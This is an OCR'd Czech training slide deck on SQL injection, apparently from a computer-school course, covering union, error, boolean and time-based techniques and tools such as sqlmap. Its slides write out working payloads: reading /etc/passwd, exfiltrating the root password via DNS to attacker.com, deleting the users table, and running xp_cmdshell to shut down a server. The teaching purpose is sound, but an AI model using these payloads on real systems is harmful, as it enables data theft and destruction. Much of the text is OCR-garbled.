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Vyskyt

* Prvni zminky o SQL injekci pochazi z roku 1998
= Ani po ti letech neni situace uspokojiva

= Zranitelnosti SQL injection trpi v soucasne dobe
stale priblizne 20% webovych a jinych aplikaci




Rychlokurz SQL

Data jsou na SQL serveru ulozena v databazich / tabulkach

Kazda tabulka se sklada ze sloupcu urcitych datovych typu

login name password email

pepa Josef Stédry 955db0b81ef1989b4 pepa@ mail.com
drvostep Jan Novotny b8c20d3ab88e1133 j.novo@mail.com
hydra Hydra Stara 6a284155906c26¢ch hydra@mail.eu

SQL jazyk disponuje pfikazy pro praci s daty INSERT, SELECT, UPDATE, DELETE, ...

SELECT * FROM users WHERE login = ‘pepa’
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SQL injekce aneb WTF?

SELECT *
FROM users s
WHERE (login = ‘$login‘) AND (pass=‘$pass®)

SELECT *
FROM users
WHERE (login = ‘admin’)-- ) AND (pass='...")
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SQL injekce ma mnoho tvari

= UNION-based SQL injection

* ERROR-based SQL injection

» BOOLEAN-based SQL injection
* TIME-based SQL injection
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UNION based SOQL |nject|on

Vysledky dotazl jsou zobrazovany na
monitoru

= Lze pfipojovat ruzné tabulky

= Utoénikovi staéi vhodné se zeptat,
a databaze vyda veskery svuj obsah

SELECT * FROM messages WHERE iduser = $iduser

SELECT * FROM messages
WHERE iduser = 0 UNION ALL SELECT login, pass FROM users
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SEEEGES

FROM zbozi
WHERE nazev =
ORDER BY
LIMIT

Vyhledavani

Hledané zbozi: stdl
Sefadit podle: cena -~
Pocet vysledki na stranku: 10 ~ | Odeslat dotaz

SELECT * FROM zbozi WHERE nazev = “ LIMIT O,

SELECT * FROM zbozi WHERE nazev = “ LIMIT

,10
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Boolean-based SQL injection

,Vim, Zze mi to nemuzes frict. Tak jen pokyvej hlavou, pokud mam pravadu.”

» \ystup dotazu se nezobrazuje ve forme textu na monitoru
Vysledek je ale presto na monitoru rozpoznatelny

= Je mozné se pouze ptat, zda mame / nemame pravdu

» VetSinou dolujeme data po jednotlivych znacich

Zacina heslo administratora na ,A“ ?
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SELECT * FROM users
WHERE (login =

) AND (heslo=")

.PrihlasSeni

Heslo:

Registrace

SELECT * FROM zbozi WHERE nazev = *

ORDER BY
ORDER BY

Podminka:

Vyhledavani

Hledané zbozi:
Sefadit podle:

stal
cena -«

Poéet vysledkh na stranku: 10 ~ | Odeslat dotaz
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Nastaveni uétu

Jméno: Roman Kimmel

UPDATE users SET name = “WHERE iduser = | _ voi S
UPDATE users SET name = ‘ WHERE iduser ="10°’AND'podminka

Registrace

DELETE messages WHERE idmess =

Jméno: _

Login: ro man

Heslo znovu:

INSERT INTO users(name, login, pass) VALUES (’ =5
INSERT INTO users(name, login, pass) VALUES ('




TIME-based SQL injection

Vysledek dotazu se nijak neprojevuje na grafickém vystupu

Vhodnym vyuzitim logickych operatoru |ze presto dosahnout vysledku
AND ma pri vyhodnocovani vyrazu prednost

Nejprve se vyhodnocuje leva strana
Prava strana se vyhodnocuje pouze
v pripade pravdivosti levého vyrazu

podminka AND sleep(10)

UPDATE statistics SET views = views + 1 WHERE url = ‘Surl’
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Jak rozmluvit micenlivé

= Ukladame data do souboru

0

C 1

SELECT * FROM users .
WHERE login = “ OR ‘a‘=‘a’ INTO OUTFILE ‘/var/www/myweb/users.txt"-- - AND pass="

= Vyvolavame chyby

= Prenasime data pres DNS
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Error-based SQL injection

To jsem nemél rikat, \
to jsem fakt nemél fikat... -

= BIGINT Overflow

SELECT * FROM users
WHERE login = “ OR ~0+!(SELECT * FROM (SELECT database())x)-- * AND pass="

= Double query injection

SELECT * FROM users WHERE login = “ OR (select 1 from (select count(*), concat(user(),
floor(rand(0)*2))x from information_schema.tables group by x) a)-- * AND pass="
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LOAD_ FILE a DNS

o

SELECT * FROM zbozi gorl
WHERE nazev = ' UNION ALL SELECT LOAD_FILE('/etc/passwd')'iz

SELECT * FROM zbozi

WHERE nazev = 'xxx' UNION ALL SELECT LOAD_FILE(CONCAT("\\',(SELECT password
FROM mysgl.user WHERE user="root, LIMIT 1),".attacker.com\\foobar"))--

Kazda subdoména mize mit az 63 znaku, celek pak az 248 znaku
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Porovnani jednotlivych metod

.

Metoda Pocet requestil | » Gas (sec)
Union-based 3 %"‘ X 1
Error-based 777 9
DNS exfiltration 1409 35
Boolean-based 29 212 214
Time-based 32716 17 720

,,,,,,
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Timto to rozhodné nekon€r

= DoS

SELECT * FROM zbozi WHERE nazev = »xx' UNION ALL SELECT BENCHMN@I@(’IOOOO, MD5(‘test’))--

Retézeni prikazul

SELECT * FROM zbozi WHERE nazev = xxx': DELETE FROM users --

Spousténi stored procedur

SELECT * FROM zbozi WHERE nazev = 'xxx'; exec master.dbo.xp_cmdshell ‘shutdown -t O -s’--

a dalsi...
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Nastroje

Z 10
" SQL m ap — _U_I_':_l_l http://sqlnap,org

. - [1] legal disclaimer: Usage of sqlmap for attacking targets without prior m
| SQL n I nj a conzent iz illegal, It iz the end user's responzibility to obey all applico®
local, state and federal laws, Developers assume no liability and are not respon
zible for any mizusze or damage caused by this program

= HaVIJ [*] starting at 15:02:07

4 python zqlmap,.py —u "httpisitarget vuln,php?id=1" ——batch
i 3

- S I t %151 % I”FD% testing connection to the
15z INFD '
(:: lj [:) (:) " [INFO] can take a couple of

F dalsi [INFO]
a a SI N [INFO] ing if GET 3 :
7 [INFO] confirming that GET parameter ' iz dynamic - Advanced SQL njection Tod!
[15:02:028] [INFO] GET parameter 'id' iz dynamic
[15:02:081 [INFO] hewristic (basic) test shows that GET parameter 'id' might be
‘wjectable {possible IBHS: "HySOL')
1
11
1 1 " 1 P 1
1 I = 1 1 I = 1 = 1
1 1 T T R 1 1
1 1 i __1__1__1 sl 1
1 " |
11 1

SOILAINIA

¢)GOPAS

POCITACOVA.SKOLA.CZ



Reference

= Practical'ldentification of SQL Injection Vulnerabilities, US-CERT,
https://www.us-cert.gov/sites/default/files/publications/Practical-SQLi-Identification. pdf

= BIGINT Overflow Error Based SQL Injection, Osanda Malith Jayathissa,
https://www.exploit-db.com/docs/37733.pdf :

= Error Based/Double Query SQL injection, ZerOFreak,
http://zerofreak.blogspot.cz/2012/02/tutorial-by-zerOfreak-zerOfreak-sqli.ntml

= Data Retrieval over DNS in SQL Injection Attacks, Miroslav Stampar,
http://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf

= OWASP Testing Guide v.4,
https://www.owasp.org/images/5/52/OWASP_Testing_Guide v4.pdf
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